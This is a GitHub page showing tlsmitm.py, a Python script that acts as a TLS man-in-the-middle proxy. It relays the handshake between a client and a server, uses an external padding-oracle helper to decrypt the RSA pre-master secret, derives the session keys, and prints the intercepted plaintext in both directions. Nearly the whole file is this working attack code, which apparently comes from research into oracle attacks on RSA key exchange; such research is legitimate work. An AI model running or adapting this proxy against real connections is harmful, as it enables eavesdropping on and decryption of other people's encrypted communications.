-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathtlsmitm.py
More file actions
executable file
·294 lines (221 loc) · 8.74 KB
/
Copy pathtlsmitm.py
File metadata and controls
executable file
·294 lines (221 loc) · 8.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#!/usr/bin/env python3
import socket
from tlslite.api import *
from tlslite.constants import ContentType, HandshakeType
from binascii import hexlify, unhexlify
from tlslite.mathtls import calcMasterSecret
from tlslite.messages import ApplicationData
import subprocess
import sys
def handshakeProxy(c_conn, s_conn, oracle):
s_conn._handshakeStart(client=False)
c_conn._handshakeStart(client=True)
s_settings = HandshakeSettings()
c_settings = HandshakeSettings()
# CLIENT HELLO C -> S
for result in s_conn._getMsg(ContentType.handshake,
HandshakeType.client_hello):
if result in (0,1): yield result
else: break
clientHello = result
c_conn.version = (3, 1) # Hardcoded version
for result in c_conn._sendMsg(clientHello):
yield result
# Send Server Hello, Certificate and Server Hello Done in one packet
s_conn.sock.buffer_writes = True
# SERVER HELLO S -> C
for result in c_conn._getMsg(ContentType.handshake,
HandshakeType.server_hello):
if result in (0,1): yield result
else: break
serverHello = result
s_conn.version = serverHello.server_version
cipherSuite = serverHello.cipher_suite
for result in s_conn._sendMsg(serverHello):
yield result
# CERTIFICATE S -> C
for result in c_conn._getMsg(ContentType.handshake,
HandshakeType.certificate,
serverHello.certificate_type): # FIXME : we should only allow RSA
if result in (0,1): yield result
else: break
serverCertificate = result
for result in s_conn._sendMsg(serverCertificate):
yield result
# CERTIFICATE REQUEST S -> C
if 0:
for result in c_conn._getMsg(ContentType.handshake,
HandshakeType.certificate_request):
if result in (0,1): yield result
else: break
certificate_request = result
for result in s_conn._sendMsg(certificate_request):
yield result
# SERVER HELLO DONE S -> C
for result in c_conn._getMsg(ContentType.handshake,
HandshakeType.server_hello_done):
if result in (0,1): yield result
else: break
serverHelloDone = result
for result in s_conn._sendMsg(serverHelloDone):
yield result
s_conn.sock.flush()
s_conn.sock.buffer_writes = False
# Send Client Key Exchange, Change Cipher Spec, Finished in one message
c_conn.sock.buffer_writes = True
# CERTIFICATE C -> S
if 0:
for result in s_conn._getMsg(ContentType.handshake,
HandshakeType.certificate,
serverHello.certificate_type): # FIXME : we should allow anything ?
if result in (0,1): yield result
else: break
clientCertificate = result
for result in c_conn._sendMsg(clientCertificate):
yield result
# CLIENT KEY EXCHANGE C -> S
for result in s_conn._getMsg(ContentType.handshake,
HandshakeType.client_key_exchange,
cipherSuite):
if result in (0,1): yield result
else: break
clientKeyExchange = result
# Ask the oracle if we continue
epms = clientKeyExchange.encryptedPreMasterSecret
if not oracle(epms):
# YOU SHALL NOT PASS !
print("Shall not pass")
return
print("Decoding phase")
# Decrypt master key
dec = subprocess.Popen(['./decrypt', '{}:{}'.format(*oracleaddr), cert], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
dec.stdin.write(hexlify(epms) + b'\n')
dec.stdin.close()
res = dec.stdout.readline().strip().split()[-1]
dec.stdout.close()
print(res)
premasterSecret = unhexlify(res)
# If it's ok, continue
for result in c_conn._sendMsg(clientKeyExchange):
yield result
settings = HandshakeSettings()
masterSecret = calcMasterSecret(c_conn.version,
cipherSuite,
premasterSecret,
clientHello.random,
serverHello.random)
print(masterSecret)
s_conn._calcPendingStates(cipherSuite, masterSecret,
clientHello.random, serverHello.random,
settings.cipherImplementations)
c_conn._calcPendingStates(cipherSuite, masterSecret,
clientHello.random, serverHello.random,
settings.cipherImplementations)
print('foobar')
# CHANGE-CIPHER-SPEC C -> S
for result in s_conn._getMsg(ContentType.change_cipher_spec):
if result in (0,1):
yield result
s_changeCipherSpec = result
for result in c_conn._sendMsg(s_changeCipherSpec):
yield result
s_conn._changeReadState()
c_conn._changeWriteState()
# SERVER-FINISHED C -> S
for result in s_conn._getMsg(ContentType.handshake, HandshakeType.finished):
if result in (0,1):
yield result
server_finished = result
for result in c_conn._sendMsg(server_finished):
yield result
c_conn.sock.flush()
c_conn.sock.buffer_writes = False
# Send New Session Ticket, Change Cipher Spec, Finished in one message
s_conn.sock.buffer_writes = True
# NEW-SESSION-TICKET
for result in c_conn._getMsg(ContentType.handshake, HandshakeType.new_session_ticket):
if result in (0,1):
yield result
newSessionTicket = result
for result in s_conn._sendMsg(newSessionTicket):
yield result
# CHANGE-CIPHER-SPEC
for result in c_conn._getMsg(ContentType.change_cipher_spec):
if result in (0,1):
yield result
c_changeCipherSpec = result
for result in s_conn._sendMsg(c_changeCipherSpec):
yield result
c_conn._changeReadState()
s_conn._changeWriteState()
# SERVER-FINISHED
for result in c_conn._getMsg(ContentType.handshake, HandshakeType.finished):
if result in (0,1):
yield result
client_finished = result
for result in s_conn._sendMsg(client_finished):
yield result
s_conn.sock.flush()
s_conn.sock.buffer_writes = False
c_conn._handshakeDone(False)
s_conn._handshakeDone(False)
cont = True
while cont:
for c_data, s_data in zip(c_conn.readAsync(), s_conn.readAsync()):
if c_data in (0, 1):
yield c_data
elif not c_data:
# End connection
print('server ended')
cont = False
else:
print('c', c_data)
for result in s_conn.writeAsync(c_data):
yield result
if s_data in (0, 1):
yield s_data
elif not s_data:
# End connection
print('client ended')
cont = False
else:
print('s', s_data)
for result in c_conn.writeAsync(s_data):
yield result
c_conn.close()
s_conn.close()
print("The end")
if __name__ == "__main__":
if len(sys.argv) != 5:
print("Usage: {} listenaddr connectaddr oracleaddr cert".format(sys.argv[0]))
exit(0)
# Get parameters
listenaddr, connectaddr, oracleaddr, cert = sys.argv[1:]
listenaddr = (listenaddr.rsplit(':', 1)[0], int(listenaddr.rsplit(':', 1)[1]))
connectaddr = (connectaddr.rsplit(':', 1)[0], int(connectaddr.rsplit(':', 1)[1]))
oracleaddr = (oracleaddr.rsplit(':', 1)[0], int(oracleaddr.rsplit(':', 1)[1]))
oracle = lambda epms: not subprocess.call(["./trimmable", '{}:{}'.format(*oracleaddr), cert, hexlify(epms)])
# Setup server socket
bindsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bindsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
bindsock.bind(listenaddr)
print("Listening on {}:{}".format(*listenaddr), file=sys.stderr)
bindsock.listen(1)
while True:
# Wait for client
s_sock, fromaddr = bindsock.accept()
print("Connection from {}:{}".format(*fromaddr), file=sys.stderr)
# Open connection to the TLS server
c_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c_sock.connect(connectaddr)
print("Proxying to {}:{}".format(*connectaddr), file=sys.stderr)
c_sock.setblocking(False)
s_sock.setblocking(False)
c_conn = TLSConnection(c_sock)
s_conn = TLSConnection(s_sock)
# Proxy the connection
for res in handshakeProxy(c_conn, s_conn, oracle):
pass
c_sock.close()
s_sock.close()
print(file=sys.stderr)